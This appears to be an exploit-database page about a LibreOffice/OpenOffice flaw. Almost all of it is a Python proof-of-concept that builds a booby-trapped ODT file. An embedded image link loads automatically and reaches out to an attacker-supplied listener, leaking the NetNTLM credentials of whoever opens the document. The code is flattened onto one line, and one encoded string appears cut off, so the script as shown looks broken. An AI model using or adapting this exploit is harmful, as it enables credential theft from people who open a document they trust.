LibreOffice 6.0.3 / OpenOffice 4.1.5 Information Disclosure

2018.05.03
Credit: Richard Davy
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#! /usr/bin/python # Exploit Title: Malicious ODF File Creator # Date: 1st May 2018 # Exploit Author: Richard Davy # Vendor Homepage: https://www.libreoffice.org/ # Software Link: https://www.libreoffice.org/ # Version: LibreOffice 6.0.3, OpenOffice 4.1.5 # Tested on: Windows 10 # #Quick script/POC code to create a malicious ODF which can be used to leak NetNTLM credentials #Usage - Setup responder or similar create a malicious file and point to listener. #Works against LibreOffice 6.03 and OpenOffice 4.1.5 # # try: from ezodf import newdoc except ImportError: print ('ezodf appears to be missing - try: pip install ezodf') exit(1) import os import zipfile import base64 print """ ____ __ ____ ____ ______ / __ )____ _____/ / / __ \/ __ \/ ____/ / __ / __ `/ __ /_____/ / / / / / / /_ / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/ /_____/\__,_/\__,_/ \____/_____/_/ """ print "Create a malicious ODF document help leak NetNTLM Creds" print "\nBy Richard Davy " print "@rd_pentest" print "www.secureyourit.co.uk\n" #Create a blank ODT file namef = "temp.odt" odt = newdoc(doctype='odt', filename=namef) odt.save() #Create our modified content.xml file contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eW contentxml2=raw_input("\nPlease enter IP of listener: ") contentxml3="L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg==" fileout=base64.b64decode(contentxml1)+contentxml2+base64.b64decode(contentxml3) text_file = open("content.xml", "w") text_file.write(fileout) text_file.close() #Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip) zin = zipfile.ZipFile ('temp.odt', 'r') zout = zipfile.ZipFile ('bad.odt', 'w') for item in zin.infolist(): buffer = zin.read(item.filename) if (item.filename != 'content.xml'): zout.writestr(item, buffer) zout.close() zin.close() #Add our modified content.xml file to our odt file zf = zipfile.ZipFile('bad.odt', mode='a') try: zf.write('content.xml', arcname='content.xml') finally: zf.close() #Clean up temp files os.remove("content.xml") os.remove("temp.odt")


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